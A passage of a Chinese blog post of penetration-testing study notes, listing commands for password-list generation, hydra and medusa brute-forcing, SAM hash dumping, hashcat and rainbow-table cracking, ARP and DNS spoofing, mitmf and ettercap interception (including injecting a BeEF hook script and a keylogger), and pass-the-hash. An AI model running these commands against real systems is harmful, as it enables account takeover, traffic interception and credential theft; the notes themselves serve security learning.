<li>crunch 6 6 -t @,%%^^ | more</li>
<li>@：小写字母 lalpha</li>
<li>,：大写字母 ualpha</li>
<li>%：数字 numeric</li>
<li>^：符号 symbols</li>
</ol>
</li>
<li><p>输出文件压缩</p>
<ol>
<li>crunch 4 4 -t @,%^ -o 1.txt -z 7z</li>
<li>其他压缩格式：gzip、bzip2、lzma</li>
<li>7z压缩比率最大</li>
</ol>
</li>
<li><p>crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha￾numeric-all-space -o w.txt -t @d@@ -s cdab</p>
</li>
<li><p>crunch 4 5 -p dog cat bird</p>
</li>
<li><p>crunch 5 5 abc DEF + !@# -t ,@^%,</p>
<ol>
<li>占位符</li>
<li>\ 转义符（空格、符号）</li>
</ol>
</li>
<li><p>crunch 5 5 -t ddd%% -p dog cat bir</p>
<ol>
<li>任何不同于-p 参数指定的值都是占位符</li>
</ol>
</li>
<li><p>crunch 5 5 -d 2@ -t @@@%%</p>
</li>
<li><p>组合应用</p>
<ol>
<li>crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -</li>
<li>crunch 10 10 12345 –stdout | airolib-ng testdb -import passwd -</li>
</ol>
</li>
<li><p>按个人信息生成其专属的密码字典</p>
</li>
<li><p>CUPP：Common User Password Profiler</p>
<ol>
<li>git clone <a href="https://github.com/Mebus/cupp.git" target="_blank" rel="noopener">https://github.com/Mebus/cupp.git</a></li>
<li>python cup.py -i</li>
</ol>
</li>
<li><p>通过收集网站信息生成字典</p>
</li>
<li><p>cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt</p>
<ol>
<li>-m：最小单词长度</li>
<li>-d：爬网深度</li>
<li>-e：收集包含email地址信息</li>
<li>-c：每个单词出现次数</li>
<li>支持基本、摘要 身份认证</li>
<li>支持代理</li>
</ol>
</li>
<li><p>用户密码变型</p>
<ol>
<li>基于 cewl 的结果进行密码变型</li>
<li>末尾增加数字串</li>
<li>字母大小写变化</li>
<li>字母与符号互相转换</li>
<li>字母与数字互相转换</li>
<li>P@$$w0rd</li>
</ol>
</li>
<li><p>使用 John the Ripper 配置文件实现密码动态变型</p>
</li>
<li><p>/etc/john/john.conf</p>
<ol>
<li>[List.Rules:Wordlist]</li>
<li>$[0-9]$[0-9]$[0-9]</li>
<li>john –wordlist=cewl.txt –rules –stdout &gt; m.txt</li>
<li>[List.Rules:test]<br>$[0-9]$[0-9]$[0-9]$[a-zA-Z]<br>$[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$[`~!@#$%^&amp;*()-_=+]</li>
<li>john –wordlist=cewl.txt –rules=test –stdout &gt; m.txt</li>
<li>john –wordlist=ahm.lst –rules=test HASHFILE</li>
</ol>
</li>
<li><p>在线密码破解——hydra</p>
<blockquote>
<p>缺点：</p>
<p>稳定性差，程序时常崩溃</p>
<p>速度控制不好，容易触发服务屏蔽或锁死机制</p>
<p>每主机新建进程，每服务新建实例</p>
<p>大量目标破解时性能差</p>
</blockquote>
<ol>
<li>Windows密码破解<ol>
<li>hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd</li>
<li>hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV</li>
</ol>
</li>
<li>Linux密码破解<ol>
<li>hydra -l root -P pass.lst ssh://1.1.1.1 -vV</li>
</ol>
</li>
<li>其他服务密码破解<ol>
<li>hydra -L user.lst -P pass.lst <a href="ftp://1.1.1.1">ftp://1.1.1.1</a> -s 2121 -e nsr -o p.txt -t 64</li>
</ol>
</li>
<li>HTTP表单身份认证<ol>
<li>hydra -l admin -P pass.lst 1.1.1.1 http-post-form<br>“/dvwa/login.php:username=^USER^&amp;password=^PASS^&amp;Login=L<br>in:S=index.php” -V</li>
<li>hydra -l admin -P pass.lst 1.1.1.1 http-post-form<br>“/dvwa/login.php:username=^USER^&amp;password=^PASS^&amp;Login=L<br>in:Login Failed” -V</li>
<li>/foo.php:user=^USER^&amp;pass=^PASS^:S=success:C=/page/cookie:H<br>=X-Foo: Foo<ol>
<li>C：先访问指定页面取得cookie</li>
<li>H：指定http头</li>
</ol>
</li>
<li>https-post-form、http-get-form、https-get-form</li>
<li>-S：使用SSL连接</li>
</ol>
</li>
<li>pw-inspector<ol>
<li>按长度和字符集筛选字典</li>
<li>pw-inspector -i /usr/share/wordlists/nmap.lst -o p.lst -l</li>
<li>pw-inspector -i /usr/share/wordlists/nmap.lst -o P.lst -u</li>
</ol>
</li>
<li>密码破解效率<ol>
<li>密码复杂度（字典命中率）</li>
<li>带宽、协议、服务器性能、客户端性能</li>
<li>锁定阈值</li>
<li>单位时间最大登陆请求次数</li>
</ol>
</li>
</ol>
</li>
<li><p>在线密码破解——medusa</p>
<ol>
<li>medusa -d</li>
<li>破解windows密码<ol>
<li>medusa -M smbnt -h 1.1.1.1 -u administrator -P pass.lst -e ns -F</li>
</ol>
</li>
<li>破解Linux SSH密码<ol>
<li>medusa -M ssh -h 192.168.20.10 -u root -P pass.lst -e ns –F</li>
</ol>
</li>
<li>其他服务密码破解<ol>
<li>medusa -M mysql -h 1.1.1.1 -u root -P pass.lst -e ns -F</li>
<li>medusa -h 1.1.1.1 -u admin -P pass.lst -M web-form -m<br>FORM:”dvwa/login.php” -m DENY-SIGNAL:”login.php” -m FORM￾DATA:”post?user=username&amp;pass=password&amp;Login=Login”</li>
<li>参数解释：<ol>
<li>-n：非默认端口</li>
<li>-s：使用SSL连接</li>
<li>-T：并发主机数</li>
<li>medusa -M ftp -q</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
<li><p>离线密码破解</p>
<ol>
<li><p>身份认证</p>
<ol>
<li>禁止明文传输密码</li>
<li>每次认证使用HASH算法加密密码传输（HASH算法加密容易、解密困难）</li>
<li>服务器端用户数据库应加盐加密保存</li>
</ol>
</li>
<li><blockquote>
<p>破解思路</p>
<ol>
<li>嗅探获取密码HASH</li>
<li>利用漏洞登陆服务器并从用户数据库获取密码HASH</li>
<li>识别HASH类型<ol>
<li>长度、字符集</li>
</ol>
</li>
<li>利用离线破解工具碰撞密码HASH</li>
</ol>
</blockquote>
</li>
<li><p>Windows HASH获取工具</p>
<ol>
<li>利用漏洞：Pwdump、fgdump、 mimikatz、wce</li>
<li>物理接触：samdump2</li>
<li>Kali ISO 启动虚拟机</li>
<li>mount /dev/sda1 /mnt</li>
<li>cd /mnt/Windows/System32/config</li>
<li>samdump2 SYSTEM SAM -o sam.hash</li>
<li>利用nc传输HASH</li>
</ol>
</li>
</ol>
</li>
<li><p>离线密码破解——Hashcat</p>
<ol>
<li>开源多线程密码破解工具</li>
<li>支持80多种加密算法破解</li>
<li>基于CPU的计算能力破解</li>
<li>六种模式<ol>
<li>0 Straight：字典破解</li>
<li>1 Combination：将字典中密码进行组合（1 2 &gt; 11 22 12 21）</li>
<li>2 Toggle case：尝试字典中所有密码的大小写字母组合</li>
<li>3 Brute force：指定字符集（或全部字符集）所有组合</li>
<li>4 Permutation：字典中密码的全部字符置换组合（12 21）</li>
<li>5 Table-lookup：程序为字典中所有密码自动生成掩码</li>
</ol>
</li>
<li>命令<ol>
<li>hashcat -b</li>
<li>hashcat -m 100 hash.dump pass.lst</li>
<li>hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l?d?d</li>
<li>结果：hashcat.pot</li>
<li>hashcat -m 100 -a 3 hash -i –increment-min 6 –increment-max<br>8 ?l?l?l?l?l?l?l?l</li>
<li>?l = abcdefghijklmnopqrstuvwxyz</li>
<li>?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ</li>
<li>?d = 0123456789</li>
<li>?s = !”#$%&amp;’()*+,-./:;&lt;=&gt;?@[]^_`{|}~</li>
<li>?a = ?l?u?d?s</li>
<li>?b = 0x00 - 0xff</li>
</ol>
</li>
</ol>
</li>
<li><p>离线密码破解——oclhashcat</p>
<ol>
<li>号称世界上最快、唯一的基于GPGPU的密码破解软件</li>
<li>免费开源、支持多平台、支持分布式、150+hash算法</li>
<li>硬件支持<ol>
<li>虚拟机中无法使用</li>
<li>支持 CUDA 技术的Nvidia显卡</li>
<li>支持 OpenCL 技术的AMD显卡</li>
<li>安装相应的驱动</li>
</ol>
</li>
<li>限制<ol>
<li>最大密码长度 55 字符</li>
<li>使用Unicode的最大密码长度 27 字符</li>
</ol>
</li>
<li>关于版本<ol>
<li>oclHashcat-plus、oclHashcat-lite已经合并为oclhashcat</li>
</ol>
</li>
<li>命令<ol>
<li>oclHashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a?a</li>
<li>?l = abcdefghijklmnopqrstuvwxyz</li>
<li>?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ</li>
<li>?d = 0123456789</li>
<li>?s = !”#$%&amp;’()*+,-./:;&lt;=&gt;?@[]^_`{|}~</li>
<li>?a = ?l?u?d?s</li>
<li>?b = 0x00 - 0xff</li>
</ol>
</li>
</ol>
</li>
<li><p>离线密码破解——RainbowCrack</p>
<ol>
<li>基于时间记忆权衡技术生成彩虹表</li>
<li>提前计算密码的HASH值，通过比对HASH值破解密码</li>
<li>计算HASH的速度很慢，修改版支持CUDA GPU<ol>
<li><a href="https://www.freerainbowtables.com/en/download/" target="_blank" rel="noopener">https://www.freerainbowtables.com/en/download/</a></li>
</ol>
</li>
<li>KALI 中包含的RainbowCrack工具<ol>
<li>rtgen：预计算，生成彩虹表，耗时的阶段</li>
<li>rtsort：对rtgen生成的彩虹表进行排序</li>
<li>rcrack：查找彩虹表破解密码</li>
<li>以上命令必须顺序使用</li>
<li>彩虹表<br>– 密码明文、HASH值、HASH算法、字符集、明文长度范围</li>
<li>rtgen<ol>
<li>LanMan、NTLM、MD2、MD4、MD5、SHA1、RIPEMD160</li>
<li>rtgen md5 loweralpha 1 5 0 10000 10000 0</li>
<li>计算彩虹表时间可能很长</li>
</ol>
</li>
<li>下载彩虹表<br>– <a href="http://www.freerainbowtables.com/en/tables/" target="_blank" rel="noopener">http://www.freerainbowtables.com/en/tables/</a><br>– <a href="http://rainbowtables.shmoo.com/" target="_blank" rel="noopener">http://rainbowtables.shmoo.com/</a></li>
<li>彩虹表排序<ol>
<li>/usr/share/rainbowcrack</li>
<li>rtsort /md5_loweralpha#1-5_0_1000x1000_0.rt</li>
</ol>
</li>
<li>密码破解<ol>
<li>rcrack *.rt -h 5d41402abc4b2a76b9719d911017c592</li>
<li>rcrack *.rt -l hash.txt</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
<li><p>离线密码破解——John </p>
</li>
<li><p>密码嗅探</p>
<ol>
<li>二、三层地址<ol>
<li>IP 网络到网络</li>
<li>MAC 主机到主机</li>
</ol>
</li>
<li>交换机与HUB<ol>
<li>HUB全端口转发</li>
<li>交换机根据学习地址转发</li>
<li>混杂模式抓包</li>
</ol>
</li>
<li>ARP协议<ol>
<li>免费ARP</li>
<li>基于广播学习</li>
<li>以太网头、ARP头</li>
<li>请求、响应相对独立</li>
<li>基于传闻的协议</li>
</ol>
</li>
<li>手动修改数据包实现ARP欺骗<ol>
<li>arpspoof<ol>
<li>echo 1 &gt; /proc/sys/net/ipv4/ip_forward</li>
<li>arpspoof -t 1.1.1.12 -r 1.1.1.1</li>
</ol>
</li>
<li>网络嗅探<ol>
<li>driftnet -i eth0 -a -d tempdir -s </li>
<li>dnsspoof -i eth0 -f /usr/share/dsniff/dnsspoof.hosts</li>
<li>urlsnarf -i eth0</li>
<li>webspy -i eth0 1.1.1.10</li>
<li>dsniff -i eth0 -m<ol>
<li>/usr/share/dsniff/dsniff.services</li>
</ol>
</li>
<li>DNS欺骗代理<ol>
<li>dnschef –fakeip=1.1.1.10 –<br>fakedomains=<a href="http://www.google.com,www.youtube.com" target="_blank" rel="noopener">www.google.com,www.youtube.com</a> –interface 1.1.1.2<br>-q</li>
</ol>
</li>
<li>将被害者DNS指向伪造的DNS服务器</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
<li><p>中间人攻击</p>
<ol>
<li><p>注入XSS</p>
<ol>
<li>即使没有XSS漏洞，也可以凌空向每个HTTP请求中注入XSS攻击代码</li>
<li>一旦得手，影响范围巨大</li>
<li>如果中间人发生在运营商线路上，很难引起用户注意</li>
</ol>
</li>
<li><p>Mitmf 安装</p>
<ol>
<li>曾经号称最好用的中间人攻击工具（kali 2.0后默认未安装）</li>
<li>apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter￾queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3<br>libcapstone-dev libffi-dev file</li>
<li>apt-get install mitmf</li>
<li>pip uninstall twisted </li>
<li>wget <a href="http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-" target="_blank" rel="noopener">http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-</a><br>15.5.0.tar.bz2</li>
<li>pip install ./Twisted-15.5.0.tar.bz2</li>
</ol>
</li>
<li><p>启动beef</p>
<ol>
<li>cd /usr/share/beef-xss/</li>
<li>./beef</li>
</ol>
</li>
<li><p>mitmf中间人注入xss脚本</p>
<ol>
<li>mitmf –spoof –arp -i eth0 –gateway 1.1.1.1 –target 1.1.1.2 –inject<br>–js-url <a href="http://1.1.1.3:3000/hook.js" target="_blank" rel="noopener">http://1.1.1.3:3000/hook.js</a></li>
<li>mitmf –spoof –arp -i eth0 –gateway 192.168.20.2 –target<br>192.168.20.1 –jskeylogger</li>
<li>–upsidedownternet、<br>–screen（/var/log/mitmf）</li>
<li>–ferretng（cookie）、–browserprofiler（浏览器及插件信息）</li>
<li>–smbtrap、<br>–smbauth（不演示）</li>
</ol>
</li>
<li><p>–hsts</p>
<ol>
<li>HTTP Strict Transport Security </li>
<li>防止协议降级、cookie窃取</li>
<li>安全策略通过HTTP响应头”Strict-Transport-Security“实施</li>
<li>限制user-agent、https等</li>
</ol>
</li>
<li><p>–filepwn</p>
<ol>
<li>凌空插后门</li>
</ol>
</li>
<li><p>Ettercap</p>
<ol>
<li>统一的中间人攻击工具</li>
<li>转发MAC与本机相同，但IP与本机不同的数据包</li>
<li>支持SSH1、SSL中间人攻击</li>
</ol>
</li>
<li><p>模块划分</p>
<ol>
<li><p>Snifer</p>
<ol>
<li>负责数据包转发</li>
<li>Unified<ol>
<li>单网卡情况下独立完成三层包转发</li>
<li>始终禁用内核IP_Forward功能</li>
</ol>
</li>
<li>Bridge<ol>
<li>双网卡情况下的一层MITM模式</li>
<li>可作为IPS过滤数据包</li>
<li>不可在网关上使用（透明网桥）</li>
</ol>
</li>
</ol>
</li>
<li><p>MITM</p>
<ol>
<li><p>把流量重定向到ettercap主机上</p>
</li>
<li><p>可以使用其他工具实现MITM，ettercap之作嗅探和过滤使用</p>
</li>
<li><blockquote>
<p>实现MITM的方法</p>
<ol>
<li>ARP</li>
<li>ICMP<ol>
<li>ICMP路由重定向，半双工</li>
</ol>
</li>
<li>DHCP<ol>
<li>修改网关地址，半双工</li>
</ol>
</li>
<li>Switch Port Stealing<ol>
<li>flood目标地址是本机，源地址是受害者的包</li>
<li>适用于ARP静态绑定的环境</li>
</ol>
</li>
<li>NDP<ol>
<li>IPv6协议欺骗技术</li>
</ol>
</li>
</ol>
</blockquote>
</li>
</ol>
</li>
<li><p>Filter</p>
</li>
<li><p>Log</p>
</li>
<li><p>Plugin</p>
</li>
</ol>
</li>
<li><p>权限</p>
<ol>
<li>需要root权限打开链路层Socket连接，然后使用nobody账号运行</li>
<li>日志写入目录需要nobody有写入权</li>
<li>修改etter.conf：EC_UID=65534</li>
</ol>
</li>
<li><p>基于伪造证书的SSL MITIM</p>
<ol>
<li>Bridge模式不支持SSL MITM</li>
<li>openssl genrsa −out etter.ssl.crt 1024 </li>
<li>openssl req −new−keyetter.ssl.crt −out tmp.csr</li>
<li>openssl x509 −req −days 1825 −in tmp.csr </li>
<li>signkey etter.ssl.crt <ol>
<li>out tmp.new</li>
</ol>
</li>
<li>cat tmp.new&gt;&gt;etter.ssl.crt </li>
<li>rm −f tmp.newtmp.csz</li>
</ol>
</li>
</ol>
</li>
<li><p>ARP MITM</p>
<ol>
<li>字符模式<ol>
<li>ettercap -i eth0 -T -M arp -q /192.168.1.1// /192.168.1.2// -F 1.ef -P<br>autoadd -w a.cap -l loginfo -L logall -m message</li>
</ol>
</li>
<li>图形界面</li>
<li>SSL MITM<ol>
<li>vi /etc/ettercap/etter.conf</li>
</ol>
</li>
<li>DNS欺骗<ol>
<li>dns_spoof插件配置文件</li>
<li>vi /etc/ettercap/etter.dns</li>
</ol>
</li>
<li>Ettercap 日志查看<ol>
<li>etterlog -p log.eci 查看获取的密码</li>
<li>etterlog -c log.ecp 列出Log中的连接</li>
<li>etterlog -c -f /1.1.1.1/ log.ecp</li>
<li>etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp &gt; aa<br>选择相应的连接并榨取文件</li>
</ol>
</li>
<li>Filter<ol>
<li>/usr/share/ettercap/</li>
</ol>
</li>
<li>SSH-2.xx / SSH-1.99 / SSH-1.51<ol>
<li>etterfilter etter.filter.ssh -o ssh.ef</li>
</ol>
</li>
<li>替换HTTP内容<ol>
<li>if (ip.proto == TCP &amp;&amp; tcp.src == 80) {</li>
<li>msg(“data on TCP 80\n”);</li>
<li>replace(“img src=”, “img src=&quot;<a href="http://1.1.1.1/1.gif\&quot;" target="_blank" rel="noopener">http://1.1.1.1/1.gif\&quot;</a> “);</li>
<li>replace(“IMG src=”, “img src=&quot;<a href="http://1.1.1.1/1.gif\&quot;" target="_blank" rel="noopener">http://1.1.1.1/1.gif\&quot;</a> “);</li>
<li>replace(“IMG SRC=<br>“<br>,<br>“img src=&quot;<a href="http://1.1.1.1/1.gif\&quot;" target="_blank" rel="noopener">http://1.1.1.1/1.gif\&quot;</a> “);<br>}</li>
</ol>
</li>
<li>ICMP<br>– -M icmp:00:11:22:33:44:55/10.0.0.1（真实网关的MAC/IP）</li>
<li>DHCP<br>– −M dhcp:192.168.0.30,35,50−60/255.255.255.0/192.168.0.1（DNS）</li>
<li>Port<br>– -M port /1.1.1.1/ /1.1.1.2/</li>
<li>Ndp<br>– -M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/</li>
</ol>
</li>
<li><p>Pass the Hash (PTH)</p>
<ol>
<li>密码破解耗费时间资源巨大</li>
<li>使用密文提交给服务器直接完成身份认证</li>
<li>NTLM/LM是没有加盐的静态HASH密文</li>
<li>企业中使用ghost等工具克隆安装系统</li>
<li>pth-winexe -U<br>w7%aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063<br>716ab7fe2a11faf126d8 //1.1.1.1 cmd</li>
</ol>
</li>
</ol>
</li>
</ol>
</li>
</ol>
<h1 id="msf-详见msf"><a href="#msf-详见msf" class="headerlink" title="msf(详见msf)"></a>msf(详见msf)</h1><h1 id="社会工程学"><a href="#社会工程学" class="headerlink" title="社会工程学"></a>社会工程学</h1><h1 id="计算机取证"><a href="#计算机取证" class="headerlink" title="计算机取证"></a>计算机取证</h1>
            </div>
            <hr/>

            

    <div class="reprint" id="reprint-statement">
        
            <div class="reprint__author">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-user">
                        文章作者:
                    </i>
                </span>
                <span class="reprint-info">
                    <a href="/about" rel="external nofollow noreferrer">YeOrLuOp</a>
                </span>
            </div>
            <div class="reprint__type">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-link">
                        文章链接:
                    </i>
                </span>
                <span class="reprint-info">
                    <a href="https://wang468.github.io/2020/10/29/shi-pin-li-mian-wo-dao-di-xue-liao-ge-sha-zong-jie-kan-kan/">https://wang468.github.io/2020/10/29/shi-pin-li-mian-wo-dao-di-xue-liao-ge-sha-zong-jie-kan-kan/</a>
                </span>
            </div>
            <div class="reprint__notice">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-copyright">
                        版权声明:
                    </i>
                </span>
                <span class="reprint-info">
                    本博客所有文章除特別声明外，均采用
                    <a href="https://creativecommons.org/licenses/by/4.0/deed.zh" rel="external nofollow noreferrer" target="_blank">CC BY 4.0</a>
                    许可协议。转载请注明来源
                    <a href="/about" target="_blank">YeOrLuOp</a>
                    !
                </span>
            </div>
        
    </div>

    <script async defer>
      document.addEventListener("copy", function (e) {
        let toastHTML = '<span>复制成功，请遵循本文的转载规则</span><button class="btn-flat toast-action" onclick="navToReprintStatement()" style="font-size: smaller">查看</a>';
        M.toast({html: toastHTML})
      });

      function navToReprintStatement() {
        $("html, body").animate({scrollTop: $("#reprint-statement").offset().top - 80}, 800);
      }
    </script>



            <div class="tag_share" style="display: block;">
                <div class="post-meta__tag-list" style="display: inline-block;">
                    
                        <div class="article-tag">
                            
                                <a href="/tags/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/">
                                    <span class="chip bg-color">学习笔记</span>
                                </a>
                            
                                <a href="/tags/%E6%97%B6%E9%97%B4%E9%83%BD%E5%8E%BB%E5%93%AA%E4%BA%86/">
                                    <span class="chip bg-color">时间都去哪了</span>
                                </a>
                            
                        </div>
                    
                </div>
                <div class="post_share" style="zoom: 80%; width: fit-content; display: inline-block; float: right; margin: -0.15rem 0;">
                    <link rel="stylesheet" type="text/css" href="/libs/share/css/share.min.css">
<div id="article-share">

    

    

</div>

                </div>
            </div>
            
        </div>
    </div>

    

    

    

    

    

    

    

<article id="prenext-posts" class="prev-next articles">
    <div class="row article-row">
        
        <div class="article col s12 m6" data-aos="fade-up">
            <div class="article-badge left-badge text-color">
                <i class="fas fa-chevron-left"></i>&nbsp;上一篇</div>
            <div class="card">
                <a href="/2020/11/04/sql-zhu-ru/">
                    <div class="card-image">
                        
                        
                        <img src="/medias/featureimages/3.jpg" class="responsive-img" alt="SQL注入">
                        
                        <span class="card-title">SQL注入</span>
                    </div>
                </a>
                <div class="card-content article-content">
                    <div class="summary block-with-text">
                        
                            
                        
                    </div>
                    <div class="publish-info">
                        <span class="publish-date">
                            <i class="far fa-clock fa-fw icon-date"></i>2020-11-04
                        </span>
                        <span class="publish-author">
                            
                            <i class="fas fa-user fa-fw"></i>
                            YeOrLuOp
                            
                        </span>
                    </div>
                </div>
                
            </div>
        </div>
        
        
        <div class="article col s12 m6" data-aos="fade-up">
            <div class="article-badge right-badge text-color">
                下一篇&nbsp;<i class="fas fa-chevron-right"></i>
            </div>
            <div class="card">
                <a href="/2020/10/29/nessus/">
                    <div class="card-image">
                        
                        
                        <img src="/medias/featureimages/11.jpg" class="responsive-img" alt="Nessus">
                        
                        <span class="card-title">Nessus</span>
                    </div>
                </a>
                <div class="card-content article-content">
                    <div class="summary block-with-text">
                        
                            
                        
                    </div>
                    <div class="publish-info">
                            <span class="publish-date">
                                <i class="far fa-clock fa-fw icon-date"></i>2020-10-29
                            </span>
                        <span class="publish-author">
                            
                            <i class="fas fa-bookmark fa-fw icon-category"></i>
                            
                            <a href="/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/" class="post-category">
                                    网络安全
                                </a>
                            
                            
                        </span>
                    </div>
                </div>
                
                <div class="card-action article-tags">
                    
                    <a href="/tags/%E5%B7%A5%E5%85%B7/">
                        <span class="chip bg-color">工具</span>
                    </a>
                    
                </div>
                
            </div>
        </div>
        
    </div>
</article>

</div>



<!-- 代码块功能依赖 -->
<script type="text/javascript" src="/libs/codeBlock/codeBlockFuction.js"></script>

<!-- 代码语言 -->


<!-- 代码块复制 -->

<script type="text/javascript" src="/libs/codeBlock/codeCopy.js"></script>


<!-- 代码块收缩 -->

<script type="text/javascript" src="/libs/codeBlock/codeShrink.js"></script>


<!-- 代码块折行 -->

<style type="text/css">
code[class*="language-"], pre[class*="language-"] { white-space: pre !important; }
</style>


    </div>
    <div id="toc-aside" class="expanded col l3 hide-on-med-and-down">
        <div class="toc-widget card" style="background-color: white;">
            <div class="toc-title"><i class="far fa-list-alt"></i>&nbsp;&nbsp;目录</div>
            <div id="toc-content"></div>
        </div>
    </div>
</div>

<!-- TOC 悬浮按钮. -->

<div id="floating-toc-btn" class="hide-on-med-and-down">
    <a class="btn-floating btn-large bg-color">
        <i class="fas fa-list-ul"></i>
    </a>
</div>


<script src="/libs/tocbot/tocbot.min.js"></script>
<script>
    $(function () {
        tocbot.init({
            tocSelector: '#toc-content',
            contentSelector: '#articleContent',
            headingsOffset: -($(window).height() * 0.4 - 45),
            collapseDepth: Number('0'),
            headingSelector: 'h1, h2, h3, h4'
        });

        // modify the toc link href to support Chinese.
        let i = 0;
        let tocHeading = 'toc-heading-';
        $('#toc-content a').each(function () {
            $(this).attr('href', '#' + tocHeading + (++i));
        });

        // modify the heading title id to support Chinese.
        i = 0;
        $('#articleContent').children('h1, h2, h3, h4').each(function () {
            $(this).attr('id', tocHeading + (++i));
        });

        // Set scroll toc fixed.
        let tocHeight = parseInt($(window).height() * 0.4 - 64);
        let $tocWidget = $('.toc-widget');
        $(window).scroll(function () {
            let scroll = $(window).scrollTop();
            /* add post toc fixed. */
            if (scroll > tocHeight) {
                $tocWidget.addClass('toc-fixed');
            } else {
                $tocWidget.removeClass('toc-fixed');
            }
        });

        
        /* 修复文章卡片 div 的宽度. */
        let fixPostCardWidth = function (srcId, targetId) {
            let srcDiv = $('#' + srcId);
            if (srcDiv.length === 0) {
                return;
            }

            let w = srcDiv.width();
            if (w >= 450) {
                w = w + 21;
            } else if (w >= 350 && w < 450) {
                w = w + 18;
            } else if (w >= 300 && w < 350) {
                w = w + 16;
            } else {
                w = w + 14;
            }
            $('#' + targetId).width(w);
        };

        // 切换TOC目录展开收缩的相关操作.
        const expandedClass = 'expanded';
        let $tocAside = $('#toc-aside');
        let $mainContent = $('#main-content');
        $('#floating-toc-btn .btn-floating').click(function () {
            if ($tocAside.hasClass(expandedClass)) {
                $tocAside.removeClass(expandedClass).hide();
                $mainContent.removeClass('l9');
            } else {
                $tocAside.addClass(expandedClass).show();
                $mainContent.addClass('l9');
            }
            fixPostCardWidth('artDetail', 'prenext-posts');
        });
        
    });
</script>

    

</main>




    <footer class="page-footer bg-color">
    
        <link rel="stylesheet" href="/libs/aplayer/APlayer.min.css">
<style>
    .aplayer .aplayer-lrc p {
        
        display: none;
        
        font-size: 12px;
        font-weight: 700;
        line-height: 16px !important;
    }

    .aplayer .aplayer-lrc p.aplayer-lrc-current {
        
        display: none;
        
        font-size: 15px;
        color: #42b983;
    }

    
    .aplayer.aplayer-fixed.aplayer-narrow .aplayer-body {
        left: -66px !important;
    }

    .aplayer.aplayer-fixed.aplayer-narrow .aplayer-body:hover {
        left: 0px !important;
    }

    
</style>
<div class="">
    
    <div class="row">
        <meting-js class="col l8 offset-l2 m10 offset-m1 s12"
                   server="netease"
                   type="playlist"
                   id="503838841"
                   fixed='true'
                   autoplay='false'
                   theme='#42b983'
                   loop='all'
                   order='random'
                   preload='auto'
                   volume='0.7'
                   list-folded='true'
        >
        </meting-js>
    </div>
</div>

<script src="/libs/aplayer/APlayer.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/meting@2/dist/Meting.min.js"></script>

    
    <div class="container row center-align" style="margin-bottom: 15px !important;">
        <div class="col s12 m8 l8 copy-right">
            Copyright&nbsp;&copy;
            
                <span id="year">2020-2021</span>
            
            <span id="year">2020</span>
            <a href="/about" target="_blank">YeOrLuOp</a>
            |&nbsp;Powered by&nbsp;<a href="https://hexo.io/" target="_blank">Hexo</a>
            <br>
            
            &nbsp;<i class="fas fa-chart-area"></i>&nbsp;站点总字数:&nbsp;<span
                class="white-color">18.8k</span>&nbsp;字
            
            
            
            
            
            
            
            <br>
            
            <span id="sitetime">载入运行时间...</span>
            <script>
                function siteTime() {
                    var seconds = 1000;
                    var minutes = seconds * 60;
                    var hours = minutes * 60;
                    var days = hours * 24;
                    var years = days * 365;
                    var today = new Date();
                    var startYear = "2020";
                    var startMonth = "08";
                    var startDate = "15";
                    var startHour = "0";
                    var startMinute = "0";
                    var startSecond = "0";
                    var todayYear = today.getFullYear();
                    var todayMonth = today.getMonth() + 1;
                    var todayDate = today.getDate();
                    var todayHour = today.getHours();
                    var todayMinute = today.getMinutes();
                    var todaySecond = today.getSeconds();
                    var t1 = Date.UTC(startYear, startMonth, startDate, startHour, startMinute, startSecond);
                    var t2 = Date.UTC(todayYear, todayMonth, todayDate, todayHour, todayMinute, todaySecond);
                    var diff = t2 - t1;
                    var diffYears = Math.floor(diff / years);
                    var diffDays = Math.floor((diff / days) - diffYears * 365);
                    var diffHours = Math.floor((diff - (diffYears * 365 + diffDays) * days) / hours);
                    var diffMinutes = Math.floor((diff - (diffYears * 365 + diffDays) * days - diffHours * hours) /
                        minutes);
                    var diffSeconds = Math.floor((diff - (diffYears * 365 + diffDays) * days - diffHours * hours -
                        diffMinutes * minutes) / seconds);
                    if (startYear == todayYear) {
                        document.getElementById("year").innerHTML = todayYear;
                        document.getElementById("sitetime").innerHTML = "本站已安全运行 " + diffDays + " 天 " + diffHours +
                            " 小时 " + diffMinutes + " 分钟 " + diffSeconds + " 秒";
                    } else {
                        document.getElementById("year").innerHTML = startYear + " - " + todayYear;
                        document.getElementById("sitetime").innerHTML = "本站已安全运行 " + diffYears + " 年 " + diffDays +
                            " 天 " + diffHours + " 小时 " + diffMinutes + " 分钟 " + diffSeconds + " 秒";
                    }
                }
                setInterval(siteTime, 1000);
            </script>
            
            <br>
            
        </div>
        <div class="col s12 m4 l4 social-link social-statis">
    <a href="https://github.com/wang468" class="tooltipped" target="_blank" data-tooltip="访问我的GitHub" data-position="top" data-delay="50">
        <i class="fab fa-github"></i>
    </a>















</div>
    </div>
</footer>

<div class="progress-bar"></div>


    <!-- 搜索遮罩框 -->
<div id="searchModal" class="modal">
    <div class="modal-content">
        <div class="search-header">
            <span class="title"><i class="fas fa-search"></i>&nbsp;&nbsp;搜索</span>
